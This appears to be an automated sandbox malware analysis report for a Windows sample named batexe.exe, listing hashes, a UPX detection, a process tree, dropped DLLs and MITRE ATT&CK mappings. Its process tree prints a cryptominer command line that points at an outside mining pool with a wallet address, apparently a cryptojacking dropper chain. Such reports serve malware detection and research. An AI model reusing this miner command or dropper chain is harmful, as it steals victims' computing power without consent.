73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
293s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21/02/2024, 04:27

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3732	b2e.exe
224	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
224	cpuminer-sse2.exe
224	cpuminer-sse2.exe
224	cpuminer-sse2.exe
224	cpuminer-sse2.exe
224	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/536-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 536 wrote to memory of 3732	536	batexe.exe	75
PID 536 wrote to memory of 3732	536	batexe.exe	75
PID 536 wrote to memory of 3732	536	batexe.exe	75
PID 3732 wrote to memory of 2104	3732	b2e.exe	76
PID 3732 wrote to memory of 2104	3732	b2e.exe	76
PID 3732 wrote to memory of 2104	3732	b2e.exe	76
PID 2104 wrote to memory of 224	2104	cmd.exe	79
PID 2104 wrote to memory of 224	2104	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:536
- C:\Users\Admin\AppData\Local\Temp\DB4C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\DB4C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\DB4C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\E02E.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2104
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\DB4C.tmp\b2e.exe

Filesize
2.0MB

MD5
fdeff16ca964a2e9a2203979adac8aef

SHA1
63fd594b64440d14c8bbb531f900073ca93d6f24

SHA256
ec3b54b18cd56dc7a31df8ba96620e24f6ba98f305481e310b7f159ce544f7c7

SHA512
e892709e7c3ff823345cdbde2b4be9f51b3769456baed5ab824bda5ae849dbcff8c2a5750c7db79baa9636eda2542df5df5421b6e8629c827fa4db1abc188e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\DB4C.tmp\b2e.exe

Filesize
1.6MB

MD5
1e9446ffe80055b0d0681a975585d4f2

SHA1
e2b13091250549c39e6156044d3d826cfa7cc936

SHA256
6a5e65eb48e3c9f4a594a64b60d57436418cec87e75c9cf93d55746ef761e17c

SHA512
fc3ca72c1070ad153cb9f99b6a1665efb80d83005f575d70437af8d87164bff1c689305570feb80d84889a31fdc0ee1b375576fa9594ee303c2ab0776bf0e2fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\E02E.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
486KB

MD5
f6aec78766d673a8798906005a6a8d1e

SHA1
81da5b4177661b88b6ffe97fcc0cf136fa4278ab

SHA256
f0c4dd9f4b485cc01831f9972c5b7f52a469d7953486051ac24c4a40db1cc80b

SHA512
81be09e44de3760dab12a68a336fc973c614bafcb7867c8676793cc061a60853a0b5d416664933c890894bb5a33394e8dfa8eb5d7465a9552690c255613464f3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
576KB

MD5
2caab2ad7ccd18421c96ea2ef5b9e602

SHA1
a629673c12e88ef88f30cbe8da12d3afb9a7d42c

SHA256
c16fbf658c970a716b976abe7c5d9f1b1a42dacd55a43b16fec0ecc6b84f0552

SHA512
aa9692584947d7fdbe843e877430ade40c5b4c6e15887005a292065d6f8e1303abc8dfc2bf50c01fb032bdfeca5bb2aa9312ba44d7ba4e2d3529d07bfd008969

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
640KB

MD5
ac7d1c3bb4d3c69372907331267c1ee7

SHA1
fa82689799785ef9ab4c304b1c1a6d2d9a961928

SHA256
d22689ab67764158df7b19e8d78ec1393899f21e390f469a300975a31106c3aa

SHA512
0d541661060d7c5eed486ea0377142e7d3883b3c0935114679af28bcae0b1767585fe06328955cf59aab4fe3d4acfba525dbc42675fbce80b7d0b2300784d125

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
512KB

MD5
6162b21c54b88c5c990e82aee951ebb4

SHA1
477384ab8ebe5f5a5d5a91603736d9ef53c12fd4

SHA256
462eb68967c7205145d0b92e4f3b69297f616187b07a189178f35f288063aff4

SHA512
6264ee49c4b8a6eaa69241e10ff9ab39445f85a57b756b8bc0530b45d77827d05e669dc06b689d4693db34e4161ef11b2cfe6f1954b0b90bcd434e81a938a40d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
448KB

MD5
ca123cec7f705c0af114e462349dc686

SHA1
75f90b4d95f6774b2f66e4ba790755ef118ab222

SHA256
7f141cdc0be9c965e21310bcfb0484b20d31ffd8a6a970f8b5a53c0e8974798a

SHA512
650125faa9ae6733f1118caf3101ca6850473f78f9bfc3a87e908eac1c69935e3bc269ffb5de4dd6e867429c1af35c7f3b9e62eb698fa7c9695d68e7115f3f1c

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
560KB

MD5
0e15695b6e8326d4b7c08772df81a0ef

SHA1
42047cd1416f57047f19fa97dcc0e66879136b3f

SHA256
84078d4df300588b9c208452766dc0711e2f1474885ce6c7949948e471dd8103

SHA512
cc95bc2607de5e2506da26fdf584997c3e2a045f6869b644598cc039a8f8ae5965ae0d43197507f11dd39e556991769d539878721ec5cc71562958d6a5fb7a49

Download Submit
memory/224-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/224-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/224-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/224-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/224-42-0x0000000064120000-0x00000000641B8000-memory.dmp

Filesize
608KB

Download
memory/224-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/224-44-0x00000000010E0000-0x0000000002995000-memory.dmp

Filesize
24.7MB

Download
memory/224-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/224-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/224-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/224-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/224-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/224-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/224-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/224-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/224-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/536-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3732-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3732-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download